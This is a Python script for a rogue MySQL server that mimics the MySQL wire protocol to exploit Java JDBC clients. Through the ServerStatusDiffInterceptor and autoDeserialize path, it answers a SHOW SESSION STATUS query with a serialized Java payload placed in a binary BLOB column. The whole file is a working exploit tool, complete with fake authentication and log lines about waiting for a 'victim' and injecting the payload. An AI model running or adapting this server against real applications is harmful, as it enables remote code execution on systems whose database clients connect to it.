#!/usr/bin/env python3
"""
Rogue MySQL Server v2 — Strict MySQL protocol implementation
for JDBC deserialization via ServerStatusDiffInterceptor + autoDeserialize.

References:
  - https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_packets.html
  - https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_text_resultset.html
"""

import socket
import struct
import sys
import threading


class MysqlPacket:
    """Helper for building MySQL protocol packets."""

    @staticmethod
    def pack(seq_id, payload):
        """Build a complete MySQL packet: 3-byte length + 1-byte seq + payload."""
        length = len(payload)
        return struct.pack('<I', length)[:3] + bytes([seq_id & 0xFF]) + payload

    @staticmethod
    def lenenc_int(val):
        """Length-encoded integer."""
        if val < 251:
            return bytes([val])
        elif val < 0x10000:
            return b'\xfc' + struct.pack('<H', val)
        elif val < 0x1000000:
            return b'\xfd' + struct.pack('<I', val)[:3]
        else:
            return b'\xfe' + struct.pack('<Q', val)

    @staticmethod
    def lenenc_str(s):
        """Length-encoded string."""
        if isinstance(s, str):
            s = s.encode('utf-8')
        return MysqlPacket.lenenc_int(len(s)) + s


class RogueMysqlServer:
    def __init__(self, payload_path, port=3307):
        self.port = port
        with open(payload_path, 'rb') as f:
            self.payload = f.read()
        print(f"[*] Loaded payload: {payload_path} ({len(self.payload)} bytes)")
        if self.payload[:2] == b'\xac\xed':
            print("[*] Java serialization magic (0xACED) verified ✓")
        else:
            print("[!] WARNING: No 0xACED magic — deserialization may not trigger")

    def run(self):
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind(('0.0.0.0', self.port))
        srv.listen(5)
        print(f"[*] Listening on 0.0.0.0:{self.port}")
        print(f"[*] Waiting for victim JDBC connection...\n")

        while True:
            try:
                client, addr = srv.accept()
                print(f"[+] Connection from {addr[0]}:{addr[1]}")
                t = threading.Thread(target=self.handle_client, args=(client,), daemon=True)
                t.start()
            except KeyboardInterrupt:
                print("\n[*] Shutting down")
                break
        srv.close()

    def _build_greeting(self):
        """Build MySQL Server Greeting (Handshake v10)."""
        payload = b''
        payload += b'\x0a'                           # protocol version 10
        payload += b'5.7.99\x00'                     # server version
        payload += struct.pack('<I', 1337)            # connection id
        payload += b'AAAAAAAA'                        # auth-plugin-data-part-1 (8 bytes)
        payload += b'\x00'                            # filler
        # capability flags lower: CLIENT_PROTOCOL_41 | CLIENT_SECURE_CONNECTION | basic flags
        payload += struct.pack('<H', 0xF7FF)
        payload += b'\x21'                            # character set: utf8_general_ci (33)
        payload += struct.pack('<H', 0x0002)          # status flags: SERVER_STATUS_AUTOCOMMIT
        # capability flags upper: CLIENT_PLUGIN_AUTH etc
        payload += struct.pack('<H', 0x807F)
        payload += b'\x15'                            # auth-plugin-data-len (21)
        payload += b'\x00' * 10                       # reserved
        payload += b'BBBBBBBBBBBB\x00'                # auth-plugin-data-part-2 (12 + NUL)
        payload += b'mysql_native_password\x00'       # auth-plugin name
        return MysqlPacket.pack(0, payload)

    def _build_ok(self, seq_id):
        """Simple OK_Packet."""
        payload = b'\x00'       # OK marker
        payload += b'\x00'      # affected_rows (lenenc_int = 0)
        payload += b'\x00'      # last_insert_id (lenenc_int = 0)
        payload += struct.pack('<H', 0x0002)  # status_flags: AUTOCOMMIT
        payload += struct.pack('<H', 0)       # warnings
        return MysqlPacket.pack(seq_id, payload)

    def _build_eof(self, seq_id):
        """EOF_Packet."""
        payload = b'\xfe'                        # EOF marker
        payload += struct.pack('<H', 0)          # warnings
        payload += struct.pack('<H', 0x0002)     # status_flags
        return MysqlPacket.pack(seq_id, payload)

    def _build_column_definition(self, seq_id, name, col_type, flags, charset=0x3F):
        """
        Build a COM_QUERY Column Definition (Protocol::ColumnDefinition41).
        col_type: MySQL type byte (0xFC = BLOB, 0xFD = VAR_STRING, 0xFE = STRING)
        flags:    column flags (0x80 = BINARY_FLAG, 0x10 = BLOB_FLAG)
        charset:  0x3F = binary (63), 0x21 = utf8 (33)
        """
        payload = b''
        payload += MysqlPacket.lenenc_str('def')      # catalog
        payload += MysqlPacket.lenenc_str('')          # schema
        payload += MysqlPacket.lenenc_str('')          # table (virtual)
        payload += MysqlPacket.lenenc_str('')          # org_table
        payload += MysqlPacket.lenenc_str(name)        # name
        payload += MysqlPacket.lenenc_str('')          # org_name
        payload += b'\x0c'                             # length of fixed fields (always 0x0c)
        payload += struct.pack('<H', charset)          # character_set
        payload += struct.pack('<I', 0x00FFFFFF)       # column_length
        payload += bytes([col_type])                   # column_type
        payload += struct.pack('<H', flags)            # flags
        payload += b'\x00'                             # decimals
        payload += b'\x00\x00'                         # filler
        return MysqlPacket.pack(seq_id, payload)

    def _build_session_status_response(self, start_seq):
        """
        Build a full result set for SHOW SESSION STATUS.
        Two columns: Variable_name (VARCHAR), Value (BLOB with BINARY flag).
        One row: ('a]b', <serialized_payload>)
        
        The key trick: column 2 must have:
          - type = FIELD_TYPE_BLOB (0xFC = 252)
          - flags: BLOB_FLAG (0x10) | BINARY_FLAG (0x80) = 0x90
          - charset: binary (63 = 0x3F)
        
        This ensures ResultSetImpl.getObject() enters the BLOB branch,
        checks isBlob() && isBinary(), and with autoDeserialize=true,
        deserializes the 0xACED payload.
        """
        packets = b''
        seq = start_seq

        # 1. Column count = 2
        packets += MysqlPacket.pack(seq, MysqlPacket.lenenc_int(2))
        seq += 1

        # 2. Column 1: Variable_name — type VAR_STRING, charset utf8
        packets += self._build_column_definition(
            seq, 'Variable_name',
            col_type=0xFD,  # FIELD_TYPE_VAR_STRING
            flags=0x00,     # no special flags
            charset=0x21    # utf8_general_ci
        )
        seq += 1

        # 3. Column 2: Value — type BLOB, BINARY + BLOB flags, binary charset
        packets += self._build_column_definition(
            seq, 'Value',
            col_type=0xFC,  # FIELD_TYPE_BLOB (252)
            flags=0x0090,   # BLOB_FLAG (0x10) | BINARY_FLAG (0x80)
            charset=0x3F    # binary charset (63)
        )
        seq += 1

        # 4. EOF after column definitions
        packets += self._build_eof(seq)
        seq += 1

        # 5. Row: (Variable_name='a\x00b', Value=<payload>)
        row = b''
        row += MysqlPacket.lenenc_str('a]b')      # col1 value
        row += MysqlPacket.lenenc_str(self.payload)  # col2 value = serialized object
        packets += MysqlPacket.pack(seq, row)
        seq += 1

        # 6. EOF after rows
        packets += self._build_eof(seq)
        seq += 1

        return packets, seq

    def _build_empty_ok_resultset(self, start_seq):
        """Build a minimal result set for SELECT @@... queries — just return OK."""
        return self._build_ok(start_seq), start_seq + 1

    def handle_client(self, sock):
        try:
            self._do_handle(sock)
        except Exception as e:
            print(f"[!] Error handling client: {e}")
        finally:
            sock.close()
            print("[*] Connection closed\n")

    def _do_handle(self, sock):
        # 1. Send greeting
        sock.sendall(self._build_greeting())
        print("[*] Sent greeting")

        # 2. Receive handshake response
        data = sock.recv(65535)
        if not data:
            return
        print(f"[*] Received handshake response ({len(data)} bytes)")

        # 3. Send OK (auth success)
        sock.sendall(self._build_ok(2))
        print("[*] Sent auth OK")

        # 4. Query loop
        qnum = 0
        while True:
            try:
                data = sock.recv(65535)
                if not data:
                    print("[*] Client disconnected")
                    break
            except ConnectionResetError:
                print("[*] Connection reset")
                break

            if len(data) < 5:
                continue

            cmd = data[4]
            if cmd == 0x03:  # COM_QUERY
                query = data[5:].decode('utf-8', errors='replace').strip()
                short_q = query[:80] + ('...' if len(query) > 80 else '')
                print(f"[*] Query #{qnum}: {short_q}")

                if 'SESSION STATUS' in query.upper():
                    print("[!] >>> SHOW SESSION STATUS — injecting deserialization payload!")
                    resp, _ = self._build_session_status_response(1)
                    sock.sendall(resp)
                    print(f"[!] >>> Sent {len(self.payload)} byte payload in BLOB column")
                else:
                    # All other queries get a simple OK
                    sock.sendall(self._build_ok(1))

                qnum += 1

            elif cmd == 0x01:  # COM_QUIT
                print("[*] COM_QUIT")
                break
            elif cmd == 0x02:  # COM_INIT_DB
                sock.sendall(self._build_ok(1))
            elif cmd == 0x0e:  # COM_PING
                sock.sendall(self._build_ok(1))
            else:
                sock.sendall(self._build_ok(1))


if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <payload.ser> [port]")
        sys.exit(1)

    srv = RogueMysqlServer(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 3307)
    srv.run()